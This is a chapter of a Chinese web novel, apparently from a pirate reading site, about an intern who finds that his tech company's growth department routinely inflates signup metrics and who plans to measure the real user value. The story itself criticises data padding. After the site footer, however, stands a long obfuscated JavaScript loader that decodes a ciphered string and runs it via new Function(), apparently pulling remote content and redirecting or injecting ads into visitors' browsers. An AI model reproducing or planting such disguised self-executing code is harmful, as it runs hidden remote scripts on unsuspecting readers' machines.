第173章 部门“刷数据”的公开秘密
第173章部门“刷数据”的公开秘密(第1/2页)
进入“星云科技”用户增长部实习的第一周,古民的主要任务是熟悉环境、权限、数据工具和团队当前项目。他被分配给那位面试时有过交流的高级数据分析师王磊,作为临时导师。王磊三十出头,头发略显稀疏,语速快,眼神里带着长期与数据打交道留下的审视感。他给了古民一批文档和数据集,让他先“感受一下”。
最初的几天,古民在熟悉内部庞大的数据平台、复杂的指标体系和部门的工作流程。他保持着观察者的沉默,参加站会,阅读历史分析报告,在数据后台查看各种报表。这家头部公司的数据基建无疑远超“校园物流终端”,数据量巨大,维度丰富,可视化工具先进。但很快,一种不协调的细微感觉开始浮现,如同精密仪器运行中一丝难以捕捉的杂音。
这杂音首先来自日常的沟通。在站会和小组讨论中,诸如“这个数还得往上拉一拉”、“这个渠道的量有点难看,看看能不能优化一下”、“这次活动的核心指标一定要达标”之类的表述频繁出现。“拉一拉”、“优化一下”、“达标”,这些词汇本身并无问题,但在某些上下文中,结合说话者微妙的语气和表情,古民察觉到一丝异样。这不像是在探讨如何通过改进产品、运营策略来真正提升用户价值,更像是在操作一个仪表盘,让指针指向预设的位置。
真正的确认发生在一次关于“暑期拉新大促”项目复盘会上。这是一项为期两周、投入不菲的促销活动,目标是通过补贴和新用户专属优惠,拉高平台的新注册用户数。产品、运营、市场、数据分析各团队代表围坐。
运营同事首先展示成果:“活动期间,新注册用户总量达到XX万,日均新增较活动前提升150%,完全超越预定目标120%的KPI。从核心指标看,活动非常成功。”
会议室里响起一阵轻松的附和声。但古民注意到,王磊的嘴角几不可察地向下撇了一下。接下来,市场部的同事补充了各渠道的贡献占比,信息流广告、社交媒体合作、线下地推等渠道的数据被一一呈现,同样“圆满”达成或小幅超越各自目标。
轮到数据分析团队提供洞察。王磊清了清嗓子,调出一页新的图表:“从新增用户的后续行为来看,我们发现,活动期间新增用户的次日留存率,比自然增长用户低15个百分点;七日留存率低22个百分点。活动结束后一周,这些用户的周活跃度(WAU)衰减曲线明显更陡峭。”他停顿了一下,指向另一组数据,“另外,我们对活动期间的新增用户进行了抽样回访和反作弊系统交叉验证,发现异常设备、批量注册、薅羊毛行为的比例,比平时高出约8个百分点。”
会议室的空气安静了一瞬。负责活动的运营经理立刻接话:“这个我们之前也有预期,补贴活动肯定会吸引一部分价格敏感用户和短期行为用户,这是正常的。关键是总量上去了,大盘数据好看,而且总会有一定比例的用户沉淀下来。我们的核心KPI是新增用户数,这个指标是硬道理,老板和财报都需要看到增长。”
另一位产品同事补充:“是啊,留存和后续价值可以后面慢慢做。先把蛋糕做大嘛。而且反作弊那边也在跟进,会持续清理。”
王磊没有再争论,只是点了点头,说了句“数据供参考”,便结束了汇报。会议继续讨论下一阶段的活动规划,气氛重新活跃起来,大家开始讨论新的补贴方案和渠道策略,如何“再冲一波量”。
古民默默记录。他听懂了弦外之音:那个“8个百分点”的异常用户比例,或许只是冰山一角。核心KPI(新注册用户数)被完美达成,甚至超额。但达成这个KPI的手段,可能混杂了相当比例的无价值甚至虚假动作。而后续留存和价值数据的下滑,被轻描淡写地归因为“正常现象”,或留待“后续优化”。这其中的逻辑是:先完成眼前的、被高度关注的数字目标,其他问题可以往后放。只要大盘的数字在涨,就有故事可讲,有资源可拿。
会后,古民主动留下,向王磊请教一些数据平台的技术问题。问完正题,他看似随意地提起:“王老师,刚才会上提到的异常用户比例,我们有没有更细的维度?比如,不同渠道来源的异常率差异?或者,不同补贴额度吸引来的用户,后续价值差异的量化模型?”
王磊看了他一眼,眼神里有些复杂,似乎斟酌了一下措辞。“数据都有,维度也可以拆。但有些分析,做了不一定需要大面积汇报。”他操作电脑,调出几个内部看板,权限对古民开放,“你可以自己看看。注意,这些看板和标签只在组内共享,不要外传。”
古民花了接下来几天时间,深入查看这些数据。他看到了更详细的渠道分析:某些渠道带来的用户,注册后除了领取新人优惠和完成首单(往往是最低门槛的廉价商品或服务),再无任何后续活跃行为,设备ID也常在短时间内批量出现。他看到了补贴敏感度分析:高额补贴确实能瞬间拉高注册量,但补贴一旦停止或减弱,这部分用户的流失率陡增。他甚至看到了内部对一些“渠道合作伙伴”的私下评估笔记,其中隐晦地提到“数据质量存疑”、“存在刷量惯常操作”。
更让古民觉得耐人寻味的是,在一些非公开的讨论群或文档评论里,“刷数据”或类似的表述——“做数”、“充量”、“美化一下”——偶尔会出现,并非作为严厉批判的对象,而更像是一种心照不宣的、略带无奈甚至调侃的“行话”。它似乎成了某种公开的秘密,一个房间里的大象,大家都知道它存在,但除非造成无法忽视的麻烦(如引发重大公关危机或严重财务漏洞),否则默认它在某些边界内是被允许的,甚至是完成KPI所必需的“操作”。
(本章未完,请点击下一页继续阅读)第173章部门“刷数据”的公开秘密(第2/2页)
古民开始理解这套运行逻辑。在用户增长压力巨大的情况下,部门、团队、个人的绩效考核,紧密绑定在几个核心增长指标上:新增用户数、活跃用户数、GMV(成交总额)等。这些指标是可视的、可比较的、直接关系到资源分配和晋升机会的“硬通货”。当真实的、健康的增长遇到瓶颈时,通过一些“技巧性”手段让数字变得好看,就成了一种短期内的理性选择。这些手段包括:
渠道投放的灰色地带:与一些“数据优化”能力强的渠道合作,即使知道其带来的用户质量不高,但只要成本可控,能冲量完成KPI,就可能被采用。
补贴驱动的泡沫:设计简单粗暴的现金或高额折扣补贴,吸引对价格极度敏感、忠诚度极低的用户完成注册和首次交易,快速做大规模。
指标定义的巧妙利用:例如,将“活跃用户”定义为“启动过APP”,而非“完成有效交互”;或将“新增用户”的统计口径放宽,包含一些边缘行为。
对“合作伙伴”数据的默许:对于依赖渠道合作伙伴带来用户的情况,有时会对其上报数据的真实性“睁一只眼闭一只眼”,只要不过分离谱。
成本呢?当然有。除了直接的补贴成本和渠道费用,更大的成本是资源错配:真正的产品改进、用户体验优化、长期价值创造,可能因为无法在短期内快速拉升显性指标,而得不到足够的重视和资源。同时,决策失真:基于被“优化”甚至掺水的数据做出的战略判断,可能南辕北辙。还有团队心智的腐蚀:当“做数”变得普遍甚至被默许,那些坚持深挖真实问题、关注长期健康的成员可能会感到挫败,而擅长“数字游戏”的人可能更易获得短期回报。
古民意识到,他面对的不是某个人的道德瑕疵,而是一个系统性的激励扭曲问题。在高速增长阶段,粗放式拉新掩盖了许多问题。但当增长放缓,竞争进入深水区,这种依靠“刷数据”维持表面增长的模式,其不可持续性会日益凸显。它像一种数据层面的通货膨胀,数字在膨胀,但真实的用户价值和商业价值可能停滞甚至萎缩。最终,当市场或投资者要求看到“利润”而不仅仅是“规模”时,泡沫就可能被刺破。
王磊在会后对他说的那句“有些分析,做了不一定需要大面积汇报”,现在他品出了更多意味。这既是一种无奈的保护(知道某些真相可能不合时宜),也可能是一种隐晦的鼓励(如果你有兴趣,可以自己去挖掘更深层的问题,但要有分寸)。
对古民而言,这既是挑战,也是机会。挑战在于,他所在的团队,乃至整个部门,可能都深陷在这种追求表面数据的惯性中。他作为一个实习生,人微言轻,直接挑战这套游戏规则既不现实也无必要。但机会在于,他看到了一个未被充分揭露、但至关重要的真实问题:如何穿透表面的、可能被污染的数据,识别出真实的用户增长和价值创造?
他想起了“校园物流终端”初期,那个区域负责人虚报单量的事情。本质上,那是小范围的、粗糙的“刷数据”。而在这里,是更系统、更隐蔽、甚至某种程度上被“合理化”的版本。识别和度量这种“数据水分”,评估其真实成本,或许是他能在这里创造独特价值的一个切入点。当然,这需要极其谨慎。他不能公开指责,但可以尝试用数据本身,去构建一个更接近真相的分析框架。
他关掉那些内部看板,在本地一个加密文档中,开始草拟一些想法。标题暂定为“用户增长有效性评估框架初探”。他需要先定义什么是“有效”用户,什么是“无效”或“低价值”动作。这不只是简单的剔除作弊用户,更要区分“真实但低价值”的用户(如纯羊毛·党)和“真实且有潜力”的用户。他需要找到或构建一些领先指标,能够比“新增用户数”更早、更准地预测用户的长期留存和价值。他还需要量化不同渠道、不同补贴策略带来的“混合价值”,而不仅仅是“获取成本”。
这不再是课堂作业,也不是“校园物流终端”那种相对透明的数据环境。这是在庞大的、复杂的、可能存在系统性数据扭曲的系统中,尝试寻找真实的价值信号。这比他预想的实习更有挑战性,也更有趣。部门里那个“刷数据”的公开秘密,对他而言,不再只是一个令人失望的发现,而是一个等待被解析、被度量、最终可能被修正的系统性bug。他打开数据查询界面,开始默默地、系统地调取相关数据,准备着手搭建他自己的、私下的“无效动作识别”模型。这个过程必须隐蔽,分析必须扎实,结论必须基于无可辩驳的数据逻辑。他要看看,在这片被精心打理的、绿意盎然的“数据草坪”之下,土壤的真实肥力究竟如何。
一秒记住【882小说网】
882xsw.com,更新快,无弹窗!
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();